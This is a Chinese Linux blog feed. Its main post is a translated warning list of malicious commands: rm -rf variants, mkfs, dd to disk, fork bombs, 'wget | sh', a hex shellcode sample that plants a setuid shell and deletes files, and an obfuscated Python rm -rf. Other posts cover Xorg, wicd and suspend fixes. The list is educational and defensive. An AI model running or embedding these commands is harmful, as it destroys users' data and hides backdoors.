Section "Device"<br /> Identifier "Intel Graphics"<br /> Driver "intel"<br /> Option "Accelmethod" "uxa"<br />EndSection</code><br />
如果你沒有這個檔案,那就直接建立這個檔案<br />
在Chakra上預設模式是sna<br />
如果你的顯示沒有問題<br />
基本上不需要去動這個設定<br />
如果你像我的電腦硬體一樣<br />
比較老舊<br />
你可以試者調整這個設定<br />
不論是看影片、圖片效能上都會好上很多<br />
<br />
參考來源:<br />
<ul>
<li><a href="http://chakra-project.org/bbs/viewtopic.php?id=9710">How to enable sna or uxa when 20-intel.conf non-existant</a> </li>
</ul>
Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-72059006672405380772013-04-25T14:26:00.002+08:002013-04-30T21:07:28.806+08:00絕對要注意的Linux惡意指令<br />
<div style="margin-bottom: 0cm;">
<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">(</span></span></span>這篇文章本來是放在<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">Ubuntu
Forums</span></span></span>上的,不過後來被移除了。<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">Ubuntu
guide
</span></span></span>覺得這樣的知識會帶來誤導的風險,但又認為知識應該要保持開放而不是隱藏危險來保護<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">(K)Ubuntu/Linux</span></span></span>的形象,於是原本的文件則被重新建立到<a href="http://ubuntuguide.org/wiki/Malicious_Linux_Commands">這裡</a>。</div>
注意<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">:</span></span></span><br />
關於一些惡意指令你相當需要花一些時間來做一些基本的了解,不論你要執行什麼指令,你都必須小心,尤其是以下這些指令<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">(</span></span></span>或類似的指令,或下載來的<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">scripts)</span></span></span>。<br />
建議你開啟<a href="http://ubuntuguide.org/wiki/Ubuntu:All#Screensavers">螢幕保護程式</a>並且使用密碼,來避免在你離開電腦的時候,不小心被執行了以下任何的指令。<br />
當你對以下的指令感到懷疑、不安時,建議你可以參考<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">man
pages</span></span></span>來了解指令的意義。<br />
這裡有些具有危險性的範例,並不建議你在任何的電腦上執行,尤其是這電腦上擁有具有價值的資料時。建議你可以在<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">LiveCD</span></span></span>或者<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">Virtual
Machine</span></span></span>的環境中實驗。<br />
<br />
<a name='more'></a><br />
<br />
<h2 class="cjk">
<span style="font-size: large;">刪除所有的檔案,刪除現在的所在的目錄,或者刪除目前所在的目錄中所有可見的檔案</span></h2>
<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">rm
</span></span></span>意思是刪除,<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">-f
</span></span></span>意思是強制刪除<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">(</span></span></span>即使是唯讀也一樣<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">)</span></span></span>,而
<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">-r
</span></span></span>意思是遞迴,例如:從現有的目錄包含底下所有的子目錄。
<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">"
<i>rm -rf /</i> " </span></span></span>意思是強制刪除根目錄底下所有的子目錄。
<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">"
<i>rm -rf .</i> " </span></span></span>意思是強制刪除現在的目錄與所有的子目錄。
<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">"
<i>rm -rf *</i> " </span></span></span>強制刪除現在目錄中所有的檔案與所有的子目錄。<br />
<pre class="cjk"><span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">rm -rf /</span></span>
<span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">rm -rf .</span></span>
<span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">rm -rf *</span></span></pre>
另一種變形是下面這個指令,它將會刪除你現在所在的目錄與所有的子目錄,且排除上層的目錄
<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">".."
</span></span></span>。<br />
<pre class="cjk" style="margin-bottom: 0.5cm;"><span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">rm -r .[^.]* </span></span></pre>
<h2 class="cjk">
<span style="font-size: large;">
重新格式化你的裝置</span></h2>
<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">mkfs</span></span></span>後面不管接什麼,都會將你的系統格式化成空白的<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">filesystem
</span></span></span>
<br />
<pre class="cjk"><span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">mkfs</span></span>
<span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">mkfs.ext3</span></span>
<span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">mkfs.anything</span></span></pre>
<a href="http://www.blogger.com/null" name="Block_device_manipulation"></a><br />
<br />
<br />
<h2 class="cjk">
<span style="font-family: Liberation Serif, serif; font-size: large;"><span lang="en-US">Block
device manipulation </span></span>
</h2>
這個指令會將<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">raw
data </span></span></span>寫入到硬體<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">block
device</span></span></span>中,通常這麼做會造成<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">filesystem</span></span></span>的資料毀損:<br />
<pre class="cjk"><span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">any_command > /dev/sda</span></span>
<span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">dd if=something of=/dev/sda</span></span></pre>
<a href="http://www.blogger.com/null" name="Forkbomb"></a><br />
<br />
<br />
<h2 class="cjk">
<span style="font-family: Liberation Serif, serif; font-size: large;"><span lang="en-US">Forkbomb
</span></span>
</h2>
這個指令會造成大量的 <span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">processes
</span></span></span>被執行,直到系統當掉為止,這時候你只能將你的電腦強制重開機,而這麼做很可能造成系統毀損或者資料遺失。<br />
<ul>
<li><span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">In
Bourne-ish shells (like Bash): </span></span></span>
<br />
</li>
</ul>
<pre class="cjk" style="margin-bottom: 0.5cm;"><span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">:(){:|:&};:</span></span></pre>
<ul>
<li><span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">In
Perl </span></span></span>
<br />
</li>
</ul>
<pre class="cjk" style="margin-bottom: 0.5cm;"><span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">fork while fork</span></span></pre>
<a href="http://www.blogger.com/null" name="Tarbomb"></a><br />
<br />
<br />
<h2 class="cjk">
<span style="font-family: Liberation Serif, serif;"><span lang="en-US"><span style="font-size: large;">Tarbomb</span>
</span></span>
</h2>
某人請你解壓縮<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">tar</span></span></span>的壓縮檔到你現有的目錄中,這個<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">tar</span></span></span>檔可能裏面有數以百萬計的檔案,利用檔名猜測的方式將你的資料都給覆蓋過去。建議你應該將壓縮檔解壓縮到一個空的目錄中,並且確保解壓縮後的檔案是在這個空目錄中,而不會影響到現有的系統。<br />
<a href="http://www.blogger.com/null" name="Decompression_bombs"></a><br />
<br />
<br />
<h2 class="cjk">
<span style="font-family: Liberation Serif, serif; font-size: large;"><span lang="en-US">Decompression
bombs </span></span>
</h2>
某人請你解壓縮一個小檔案,而這檔案很可能是經過高度壓縮的資料,內容可能高達數百<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">GB</span></span></span>,而將你的硬碟給塞爆,你永遠都不要從你不信任的來源下載任何檔案。<br />
<a href="http://www.blogger.com/null" name="Malicious_code_in_Shell_scripts"></a><br />
<br />
<br />
<h2 class="cjk">
<span style="font-family: Liberation Serif, serif; font-size: large;"><span lang="en-US">Shell
scripts</span></span><span style="font-size: large;">中的惡意程式碼</span></h2>
某人給你一個可執行的<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">shell
script </span></span></span>並且建議你下載與執行它。這個
<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">script
</span></span></span>中可以帶有任何指令,當然也可能帶有惡意指令。永遠不要執行你不信認的人給你的指令。<br />
例如:<br />
<pre class="cjk"><span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">wget http://some_place/some_file</span></span>
<span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">sh ./some_file</span></span></pre>
<dl><dd style="margin-bottom: 0.5cm;"><span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">or
</span></span></span>
</dd></dl>
<pre class="cjk" style="margin-bottom: 0.5cm;"><span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">wget http://some_place/some_file -O- | sh</span></span></pre>
<a href="http://www.blogger.com/null" name="Malicious_source_code_to_be_compiled_then_executed"></a><br />
<br />
<br />
<h2 class="cjk">
<span style="font-size: large;">編譯與執行惡意原始碼</span></h2>
某人給你原始碼並且要你編譯它。要在大量的原始碼中隱藏惡意程式碼是一件很容易的事,原始碼給予攻擊者更多有創意的方式來隱藏惡意程式碼。所以不要編譯或執行你不信任的程式碼。<br />
一個知名的例子曾經出現在<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">mailing
list</span></span></span>上,他偽裝成他可以證明<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">"sudo
</span></span></span>的漏洞<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">".
</span></span></span>它聲稱如果你執行這個程式碼,就不需要在<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">shell</span></span></span>中執行<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">sudo</span></span></span>就可以取得<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">root</span></span></span>權限<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">(</span></span></span>像是<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">gksudo</span></span></span>、<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">kdesudo)</span></span></span>。在程式碼中內容是這樣子的:<br />
<pre class="cjk"><span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">char esp[] __attribute__ ((section(".text"))) /* e.s.p</span></span>
<span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">release */</span></span>
<span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"</span></span>
<span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"</span></span>
<span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"</span></span>
<span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"</span></span>
<span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"</span></span>
<span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"</span></span>
<span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">"\x6e\x2f\x73\x68\x00\x2d\x63\x00"</span></span>
<span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">"cp -p /bin/sh /tmp/.beyond; chmod 4755</span></span>
<span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">/tmp/.beyond;";</span></span></pre>
對一些新手甚至是有經驗的電腦使用者來說,這看起來就像是
<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">"hex
code" </span></span></span>的奇怪東西,而你很可能誤以為它真的只是一個安全的概念證明。而實際上他是執行這個指令<br />
<pre class="cjk" style="margin-bottom: 0.5cm;"><span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">rm -rf ~ / &</span></span></pre>
這個指令將會刪除你的家目錄,如果你是用<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">root</span></span></span>權限執行這個程式,他會連你的根目錄一起給刪除。如果你能夠知道這是<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">hex
string</span></span></span>格式的指令,你應該已經是個進階的電腦使用者,你應該是不會去執行你不了解的<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">code</span></span></span>,但是對一般的使用這來說,必須記得惡意程式碼永遠都會以不同的型式出現,安裝任何程式都必須要小心謹慎,尤其是來自你不信任的地方。<br />
這裡有另外一個<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">Python</span></span></span>的例子:<br />
<pre class="cjk" style="margin-bottom: 0.5cm;"><span style="font-family: DejaVu Sans Mono, monospace;"><span lang="en-US">python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'</span></span></pre>
<a href="http://www.blogger.com/null" name="Other_Resources"></a><span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">"sn!.sg!+"
</span></span></span>的意思就是<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US">rm
-rf * </span></span></span>的指令。<br />
<br />
<span style="font-size: large;"><b>參考來源:</b></span><br />
<ul>
<li><span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span lang="en-US"><a href="http://ubuntuguide.org/wiki/Malicious_Linux_Commands">Malicious
Linux Commands </a></span></span></span>
</li>
</ul>
<div style="margin-bottom: 0cm;">
<br /></div>
Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-5101930433510064742013-04-21T22:45:00.000+08:002013-04-21T22:45:10.975+08:00休眠後網路(wicd)自動重新連線如果你有使用休眠(suspend/hibernation),你會發現當電腦醒來後,<br />
網路必須手動斷線重連才會正常,<br />
假如你的電腦休眠後,電腦的連線資訊並沒有變更,那你的電腦或許不會斷線,<br />
不過要是你從A地移動到B地,你就會發現電腦醒來後還是保有A地的IP,而不是B地的IP<br />
<a name='more'></a>如果你是使用systemd並且也使用wicd當作你的網路連線管理程式,你可以使用它的sleep hook功能,這功能可以讓你在休眠前和醒來後執行相關的script<br />
<code>$ sudo vi /etc/systemd/system/wicd-sleep.service<br />
[Unit]<br />
Description=Wicd sleep hook<br />
Before=sleep.target<br />
StopWhenUnneeded=yes<br />
<br />
[Service]<br />
Type=oneshot<br />
RemainAfterExit=yes<br />
ExecStart=-/usr/share/wicd/daemon/suspend.py<br />
ExecStop=-/usr/share/wicd/daemon/autoconnect.py<br />
<br />
[Install]<br />
WantedBy=sleep.target<br /></code>
接下來再執行下面的指令讓設定生效<br />
<code>$ sudo systemctl enable wicd-sleep.service<br />
$ sudo systemctl start wicd-sleep.service<br /></code>
以後只要休眠後醒來,wicd就會自動重新啟動並且自動連結網路<br />
參考來源:
<br />
<ul>
<li><a href="https://wiki.archlinux.org/index.php/Systemd#Sleep_hooks">ArchWiki: Sleep hooks </a>
</li>
</ul>
Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-86612332096300105302013-04-21T22:14:00.000+08:002013-04-21T22:20:54.375+08:00解決休眠時出現的錯誤訊息你在啟用休眠(suspend/hibernation)時,你可能會看到如下的錯誤訊息<br />
<code>$ dmesg -l err<br />[ 166.420801] dpm_run_callback(): pnp_bus_resume+0x0/0x80 returns -19<br />[ 166.420803] PM: Device 00:0a failed to resume: error -19<br />[ 206.278581] dpm_run_callback(): pnp_bus_resume+0x0/0x80 returns -19<br />[ 206.278583] PM: Device 00:0a failed to restore: error -19</code>
<br />
<a name='more'></a>有些網站告訴你要去檢查你的硬體<br />
要去找 Device 00:0a 是什麼東西<br />
不過在我的電腦上我卻沒有這個硬體<br />
<code>$ sudo lspci -vt<br />密碼:<br />-[0000:00]-+-00.0 Intel Corporation Mobile 4 Series Chipset Memory Controller Hub<br /> +-02.0 Intel Corporation Mobile 4 Series Chipset Integrated Graphics Controller<br /> +-02.1 Intel Corporation Mobile 4 Series Chipset Integrated Graphics Controller<br /> +-03.0 Intel Corporation Mobile 4 Series Chipset MEI Controller<br /> +-19.0 Intel Corporation 82567LF Gigabit Network Connection<br /> +-1a.0 Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #4<br /> +-1a.1 Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #5<br /> +-1a.2 Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #6<br /> +-1a.7 Intel Corporation 82801I (ICH9 Family) USB2 EHCI Controller #2<br /> +-1b.0 Intel Corporation 82801I (ICH9 Family) HD Audio Controller<br /> +-1c.0-[02]--<br /> +-1c.1-[03]----00.0 Realtek Semiconductor Co., Ltd. RTL8191SEvB Wireless LAN Controller<br /> +-1c.3-[05-0c]--<br /> +-1c.4-[0d-14]--<br /> +-1d.0 Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #1<br /> +-1d.1 Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #2<br /> +-1d.2 Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #3<br /> +-1d.7 Intel Corporation 82801I (ICH9 Family) USB2 EHCI Controller #1<br /> +-1e.0-[15-18]--+-00.0 Ricoh Co Ltd RL5c476 II<br /> | \-00.1 Ricoh Co Ltd R5C832 IEEE 1394 Controller<br /> +-1f.0 Intel Corporation ICH9M LPC Interface Controller<br /> +-1f.2 Intel Corporation 82801IBM/IEM (ICH9M/ICH9M-E) 4 port SATA Controller [AHCI mode]<br /> \-1f.3 Intel Corporation 82801I (ICH9 Family) SMBus Controller</code>於是又找了一些資料,發現只要停用tpm_tis這個module就可以了,<br />
不太曉得休眠跟tpm_tis有什麼關係<br />
不過只要停用這個module就沒有上面那些錯誤訊息了。<br />
<code>$ sudo vi /etc/modprobe.d/blacklist.conf</code>
內容如下<br />
<code>blacklist tpm_tis</code>
存檔後我重開機<br />
再執行休眠<br />
結果這次出現了下面的錯誤訊息<br />
<code>Sep 4 10:39:26 camserver kernel: Do you have a strange power saving mode enabled?<br />
Sep 4 10:39:26 camserver kernel: Uhhuh. NMI received for unknown reason 29 on CPU 0.<br />
Sep 4 10:39:26 camserver kernel: Dazed and confused, but trying to continue</code>
於是我又找了些資料來修正這個錯誤訊息<br />
<code>$ sudo vi /etc/default/grub</code>
修改<br />
<code>GRUB_CMDLINE_LINUX_DEFAULT="quiet" </code>
變成<br />
<code>GRUB_CMDLINE_LINUX_DEFAULT="quiet resume=/dev/disk/by-uuid/34c112bf-cbe0-4f2c-b324-048a62114537 nmi_watchdog=0 nohpet"</code>
關於resume的部份那串uuid是我的swap分割區<br />
你可以執行這個指令,來得知你的swap分割區的uuid<br />
<code>$ sudo blkid<br />
/dev/sda6: UUID="34c112bf-cbe0-4f2c-b324-048a62114537" TYPE="swap"</code>
這樣子做完以後我的休眠就不再有錯誤訊息了<br />
<br />
參考來源:<br />
<ul>
<li><a href="http://nixcraft.com/linux-hardware/12797-linux-kernel-do-you-have-strange-power-saving-mode-enabled.html">Linux kernel Do you have a strange power saving mode enabled?</a></li>
<li><a href="http://www.chakra-project.org/bbs/viewtopic.php?id=8993">[SOLUCIONADO]ERROR: resume: no device specified for hibernation</a></li>
<li><a href="https://bbs.archlinux.org/viewtopic.php?id=157681"> suspend error</a></li>
<li><a href="https://answers.launchpad.net/ubuntu/+source/acpi/+question/142744">suspend broken for thinkpad t400</a></li>
<li><a href="http://www.cyberciti.biz/faq/linux-finding-using-uuids-to-update-fstab/">How To Use UUID To Mount Partitions / Volumes Under Ubuntu Linux</a></li>
<li><a href="http://www.cyberciti.biz/faq/linux-kernel-uhhuh-nmi-received-for-unknown-reason-30/">Linux kernel: Uhhuh. NMI received for unknown reason 30</a></li>
</ul>
Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0